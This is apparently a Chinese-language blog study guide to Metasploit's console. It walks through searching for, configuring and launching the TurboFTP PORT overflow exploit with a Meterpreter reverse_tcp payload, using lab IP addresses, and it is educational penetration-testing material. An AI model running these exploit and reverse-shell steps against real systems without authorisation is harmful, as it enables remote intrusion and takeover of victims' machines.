Metasploit - Study Guide

Posted by r3kind1e on July 24, 2022

Metasploit - Study Guide

这如何支持我的渗透测试生涯?

  • 有各种各样的攻击可供您使用
  • 自动化您自己的漏洞利用的能力

Metasploit 是一个用于渗透测试和漏洞利用开发的开源框架。 它适用于 MacOSX、Windows 和 Linux 操作系统。 Metasploit 为您提供了广泛的社区贡献的漏洞利用和攻击向量,可用于针对各种系统和技术。 此外,它是可扩展的,可用于自动化您自己的漏洞利用。

在本章中,您将学习 Metasploit 的基本用法和功能,例如:

  • 界面
  • 漏洞利用
  • 有效载荷
  • 漏洞利用处理

MSFConsole(MSF控制台)

Metasploit 有一个 Web 界面、一个命令行界面和一个控制台界面 MSFConsole。

如图所示,它带有近 1400 个漏洞利用和 356 个有效载荷。 在下面的幻灯片中,您将看到如何使用所有这些功能!

使用 MSFConsole 攻击目标的基本工作流程是:

  • 识别易受攻击的服务
  • 为该服务寻找合适的漏洞利用
  • 加载和配置漏洞利用
  • 加载和配置您要使用的有效负载
  • 运行漏洞利用代码并访问易受攻击的机器

您可以通过在命令行中键入以下内容来启动 MSFConsole:msfconsole 让我们看看如何使用它!

在开始之前,请注意每个 Metasploit 命令都提供了一些简短的帮助信息。 您可以使用 -h 开关显示帮助:

1
2
3
msf6 > show -h
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions

在以下幻灯片中,您将看到在渗透测试期间学习使用 Metasploit 所需的命令。

Identifying a Vulnerable Service(识别易受攻击的服务)

如您所知,信息收集阶段对于成功的渗透测试至关重要。 此外,在进入实际利用阶段之前,您需要执行漏洞评估步骤。 在不了解目标的情况下,您无法使用 Metasploit 等工具获利!

Searching(搜索)

Metasploit 在其模块中包含漏洞利用代码和其他功能。 在撰写本文时,它包含近 3000 个模块。 您可以使用搜索命令搜索特定模块:

1
search <mysearchterm>

如果您提供了多个搜索词,Metasploit 将对您提交的每个字符串执行查询。

如果您搜索“skeleton”,您将得到一个结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > search skeleton

Matching Modules
================

   #  Name                                                Disclosure Date  Rank    Check  Description
   -  ----                                                ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/host_header_injection                         normal  No     HTTP Host Header Injection Detection
   1  exploit/multi/browser/java_jre17_provider_skeleton  2013-06-18       great   No     Java Applet ProviderSkeleton Insecure Invoke Method
   2  exploit/windows/fileformat/office_ms17_11882        2017-11-15       manual  No     Microsoft Office CVE-2017-11882


Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/fileformat/office_ms17_11882

同样搜索“turboftp”会返回一个结果:

1
2
3
4
5
6
7
8
9
10
11
msf6 > search turboftp

Matching Modules
================

   #  Name                               Disclosure Date  Rank   Check  Description
   -  ----                               ---------------  ----   -----  -----------
   0  exploit/windows/ftp/turboftp_port  2012-10-03       great  Yes    Turbo FTP Server 1.30.823 PORT Overflow


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/ftp/turboftp_port

搜索两者都会返回两个结果:

1
search skeleton turboftp

注意:在metasploit v6.2.4-dev中显示[-] No results from search

显示漏洞的另一种方法是使用 show 命令:

1
msf6 > show exploits

不幸的是,有成千上万的漏洞可用,使用它是非常不切实际的。

Configuring an Exploit(配置漏洞利用)

选择要使用的漏洞利用后,您可以使用 use 命令启用它,然后是漏洞利用路径。 如果你想使用 turboftp 的漏洞利用,你必须输入:

1
2
3
msf6 > use exploit/windows/ftp/turboftp_port
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/ftp/turboftp_port) > 

请注意选择漏洞利用时 MSFConsole 如何迅速更改; 这是因为 Metasploit 使用类似文件系统的层次结构来存储编码器、nops、漏洞利用、有效负载和辅助模块。 例如,所有与 Windows 相关的漏洞利用都以 exploit/windows 开头。

如果要返回到主 msf 提示符,可以使用 back 命令。

1
2
3
4
5
msf6 > use exploit/windows/ftp/turboftp_port
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/ftp/turboftp_port) > back
msf6 > 

加载漏洞利用后,您可以使用 info 命令查看相关信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
msf6 > use exploit/windows/ftp/turboftp_port
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/ftp/turboftp_port) > info

       Name: Turbo FTP Server 1.30.823 PORT Overflow
     Module: exploit/windows/ftp/turboftp_port
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-10-03

Provided by:
  Zhao Liang
  Lincoln
  corelanc0d3r
  thelightcosine

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Windows Universal TurboFtp 1.30.823
  2   Windows Universal TurboFtp 1.30.826

Check supported:
  Yes

Basic options:
  Name     Current Setting      Required  Description
  ----     ---------------      --------  -----------
  FTPPASS  mozilla@example.com  no        The password for the specified username
  FTPUSER  anonymous            no        The username to authenticate as
  RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    21                   yes       The target port (TCP)

Payload information:
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow vulnerability found in the 
  PORT command in Turbo FTP Server 1.30.823 & 1.30.826, which results 
  in remote code execution under the context of SYSTEM.

References:
  https://www.exploit-db.com/exploits/22161
  OSVDB (85887)

您还可以使用 show options 命令检查其选项。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 exploit(windows/ftp/turboftp_port) > show options

Module options (exploit/windows/ftp/turboftp_port):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    21                   yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.248.148  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

要配置选项,您必须使用 set 命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf6 exploit(windows/ftp/turboftp_port) > set -h
[-] Unknown variable
Usage: set [option] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

msf6 exploit(windows/ftp/turboftp_port) > set RHOST 10.99.45.8
RHOST => 10.99.45.8
msf6 exploit(windows/ftp/turboftp_port) > set FTPUSER example
FTPUSER => example
msf6 exploit(windows/ftp/turboftp_port) > set FTPPASS examplepass
FTPPASS => examplepass
1
2
3
4
5
6
7
8
[-] 未知变量
用法:设置[选项] [值]

将给定选项设置为 value。 如果省略 value,则打印当前值。 如果两者都省略,则打印当前设置的选项。

如果从模块上下文运行,这将在模块的数据存储中设置值。 使用 -g 对全局数据存储进行操作。

如果设置 PAYLOAD,此命令可以从“show payloads”中获取索引。

Configuring a Payload(配置有效负载)

要运行漏洞利用,需要有效载荷。 有效载荷是漏洞利用模块注入受害者机器或服务的代码片段。 攻击者使用有效载荷来获取:

  • 操作系统Shell
  • VNC 或 RDP 连接
  • Meterpreter shell
  • 执行攻击者提供的应用程序

Metasploit 为不同的操作系统、不同的架构和不同的功能提供不同的有效负载。 您可以通过在 MSFConsole 提示符下键入show payloads来列出它们。 如果您在使用漏洞利用程序时启动 show payloads 命令,您将只看到与该特定漏洞利用程序一起工作的有效负载。

您可以通过发出 set payload 命令选择要使用的有效负载,后跟有效负载名称。 然后您可以使用 show options 命令检查其选项。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf6 exploit(windows/ftp/turboftp_port) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/ftp/turboftp_port) > show options

Module options (exploit/windows/ftp/turboftp_port):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   FTPPASS  examplepass      no        The password for the specified username
   FTPUSER  example          no        The username to authenticate as
   RHOSTS   10.99.45.8       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    21               yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.248.148  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

要配置有效负载,请使用 set 命令。

1
2
3
4
5
6
msf6 exploit(windows/ftp/turboftp_port) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/ftp/turboftp_port) > set LHOST 192.168.11.4
LHOST => 192.168.11.4
msf6 exploit(windows/ftp/turboftp_port) > set LPORT 1234
LPORT => 1234

配置好漏洞利用和有效载荷后,您就可以发起攻击了!

Running an Exploit(运行漏洞利用)

启动exploit 只需在命令行上发出exploit 命令即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
msf6 exploit(windows/ftp/turboftp_port) > exploit -h
Usage: run [options] [RHOSTS]

Run the current exploit module

OPTIONS:

    -e, --encoder <encoder>          The payload encoder to use.  If none is specified, ENCODER is used.
    -f, --force-run                  Force the exploit to run regardless of the value of MinimumRank.
    -h, --help                       Help banner.
    -J, --foreground                 Force running in the foreground, even if passive.
    -j, --job                        Run in the context of a job.
    -n, --nop-generator <generator>  The NOP generator to use.  If none is specified, NOP is used.
    -o, --options <options>          A comma separated list of options in VAR=VAL format.
    -p, --payload <payload>          The payload to use.  If none is specified, PAYLOAD is used.
    -q, --quiet                      Run the module in quiet mode with no output
    -t, --target <target>            The target index to use.  If none is specified, TARGET is used.
    -z, --no-interact                Do not interact with the session after successful exploitation.

Examples:

    run 192.168.1.123
    run 192.168.1.1-192.168.1.254
    run file:///tmp/rhost_list.txt

Learn more at https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

msf6 exploit(windows/ftp/turboftp_port) > exploit

[*] Started reverse TCP handler on 0.0.0.0:1234 
[*] 10.99.45.8:21 - Automatically detecting the target
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
用法:运行 [选项] [RHOSTS]

运行当前的漏洞利用模块

选项:

    -e, --encoder <encoder> 要使用的有效负载编码器。如果未指定,则使用 E​​NCODER。
    -f, --force-run 强制漏洞利用运行,而不管 MinimumRank 的值。
    -h, --help 帮助横幅。
    -J, --foreground 强制在前台运行,即使是被动的。
    -j, --job 在作业的上下文中运行。
    -n, --nop-generator <generator> 要使用的 NOP 生成器。如果没有指定,则使用 NOP。
    -o, --options <options> VAR=VAL 格式的选项的逗号分隔列表。
    -p, --payload <payload> 要使用的有效负载。如果未指定,则使用 PAYLOAD。
    -q, --quiet 以安静模式运行模块,无输出
    -t, --target <target> 要使用的目标索引。如果未指定,则使用 TARGET。
    -z, --no-interact 成功利用后不与会话交互。

敲击回车后,对目标机器执行漏洞利用。 此时,它将执行有效负载。 大多数时候,渗透测试人员的目标是在目标机器上获得一个shell。 他们可以通过选择正确的 Metasploit 有效负载来实现这一目标。 Meterpreter 是一个特殊的有效负载,在渗透测试的角度下具有许多有用的功能。

References

Metasploit